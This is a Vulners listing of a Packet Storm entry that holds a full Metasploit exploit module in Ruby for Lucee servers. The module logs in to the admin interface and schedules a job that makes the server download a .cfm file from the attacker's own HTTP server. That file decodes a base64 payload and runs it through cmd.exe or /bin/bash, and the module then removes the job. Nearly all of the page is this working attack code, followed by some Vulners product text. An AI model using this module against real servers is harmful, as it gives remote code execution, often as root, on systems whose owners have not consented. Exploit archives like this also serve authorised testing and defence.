Lucene search
K

Lucee Authenticated Scheduled Job Code Execution

🗓️ 02 Mar 2023 00:00:00Reported by Alexander Philiotis, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 345 Views

Lucee Authenticated Scheduled Job Code Execution module allows code execution through a scheduled job on Lucee servers with exposed administrative web interface. The payload is uploaded as a cfm file and runs with specified user privileges.

Code
`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Retry  
include Msf::Exploit::FileDropper  
require 'base64'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Lucee servers that have an exposed  
administrative web interface. It's possible for an administrator to create a  
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed  
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,  
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;  
on Linux, it is either the root user or lucee.  
},  
'Targets' => [  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_cmd  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
]  
],  
'Author' => 'Alexander Philiotis', # [email protected]  
'License' => MSF_LICENSE,  
'References' => [  
# This abuses the functionality inherent to the Lucee platform and  
# thus is not related to any CVEs.  
  
# Lucee Docs  
['URL', 'https://docs.lucee.org/'],  
  
# cfexecute & cfscript documentation  
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],  
['URL', 'https://docs.lucee.org/reference/tags/script.html'],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# /opt/lucee/server/lucee-server/context/logs/application.log  
# /opt/lucee/web/logs/exception.log  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK,  
# ColdFusion files located at the webroot of the Lucee server  
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows  
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux  
]  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DisclosureDate' => '2023-02-10'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8888),  
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),  
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),  
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),  
]  
)  
deregister_options('URIPATH')  
end  
  
def exploit  
payload_base = rand_text_alphanumeric(8..16)  
authenticate  
  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")  
send_response(cli, cfm_stub)  
end,  
'Path' => '/' + payload_base + '.cfm'  
}  
})  
  
#  
# Create the scheduled job  
#  
create_job(payload_base)  
  
#  
# Execute the scheduled job and attempt to send a GET request to it.  
#  
execute_job(payload_base)  
print_good('Exploit completed.')  
  
#  
# Removes the scheduled job  
#  
print_status('Removing scheduled job ' + payload_base)  
cleanup_request = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'action' => 'services.schedule'  
},  
'vars_post' => {  
'row_1' => '1',  
'name_1' => payload_base.to_s,  
'mainAction' => 'delete'  
}  
})  
if cleanup_request && cleanup_request.code == 302  
print_good('Scheduled job removed.')  
else  
print_bad('Failed to remove scheduled job.')  
end  
end  
  
def authenticate  
auth = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_post' => {  
'login_passwordweb' => datastore['PASSWORD'],  
'lang' => 'en',  
'rememberMe' => 's',  
'submit' => 'submit'  
}  
})  
  
unless auth  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
unless auth.code == 200 && auth.body.include?('nav_Security')  
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')  
end  
  
print_good('Authenticated successfully')  
end  
  
def create_job(payload_base)  
create_job = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_get' => {  
'action' => 'services.schedule',  
'action2' => 'create'  
},  
'vars_post' => {  
'name' => payload_base,  
'url' => get_uri.to_s,  
'interval' => '3600',  
'start_day' => '01',  
'start_month' => '02',  
'start_year' => '2023',  
'start_hour' => '00',  
'start_minute' => '00',  
'start_second' => '00',  
'run' => 'create'  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302  
  
print_good('Job ' + payload_base + ' created successfully')  
job_file_path = file_path = webroot  
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?  
  
case target['Type']  
when :unix_cmd  
file_path << '/'  
job_file_path = "#{job_file_path.gsub('/', '//')}//"  
when :windows_cmd  
file_path << '\\'  
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"  
end  
update_job = send_request_cgi({  
'method' => 'POST',  
'uri' => target_uri.path,  
'keep_cookies' => true,  
'vars_get' => {  
'action' => 'services.schedule',  
'action2' => 'edit',  
'task' => create_job.headers['location'].split('=')[-1]  
},  
'vars_post' => {  
'name' => payload_base,  
'url' => get_uri.to_s,  
'port' => datastore['SRVPORT'],  
'timeout' => '50',  
'username' => '',  
'password' => '',  
'proxyserver' => '',  
'proxyport' => '',  
'proxyuser' => '',  
'proxypassword' => '',  
'publish' => 'true',  
'file' => "#{job_file_path}#{payload_base}.cfm",  
'start_day' => '01',  
'start_month' => '02',  
'start_year' => '2023',  
'start_hour' => '00',  
'start_minute' => '00',  
'start_second' => '00',  
'end_day' => '',  
'end_month' => '',  
'end_year' => '',  
'end_hour' => '',  
'end_minute' => '',  
'end_second' => '',  
'interval_hour' => '1',  
'interval_minute' => '0',  
'interval_second' => '0',  
'run' => 'update'  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200  
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")  
print_good('Job ' + payload_base + ' updated successfully')  
end  
  
def execute_job(payload_base)  
print_status("Executing scheduled job: #{payload_base}")  
job_execution = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'action' => 'services.schedule'  
},  
'vars_post' => {  
'row_1' => '1',  
'name_1' => payload_base,  
'mainAction' => 'execute'  
}  
  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?  
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200  
  
print_good('Job ' + payload_base + ' executed successfully')  
  
payload_response = nil  
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do  
print_status('Attempting to access payload...')  
payload_response = send_request_cgi(  
'uri' => '/' + payload_base + '.cfm',  
'method' => 'GET'  
)  
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)  
end  
  
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.  
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500  
  
if payload_response.nil?  
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))  
elsif payload_response.code == 200  
print_good('Received 200 response from ' + payload_base + '.cfm')  
output = payload_response.body.strip  
if output.include?("\n")  
print_good('Output:')  
print_line(output)  
elsif output.present?  
print_good('Output: ' + output)  
end  
elsif payload_response.code == 500  
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))  
end  
end  
  
def webroot  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
return nil unless res  
  
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text  
end  
  
def cfm_stub  
case target['Type']  
when :windows_cmd  
<<~CFM.gsub(/^\s+/, '').tr("\n", '')  
<cfscript>  
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);  
</cfscript>  
CFM  
when :unix_cmd  
<<~CFM.gsub(/^\s+/, '').tr("\n", '')  
<cfscript>  
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);  
</cfscript>  
CFM  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation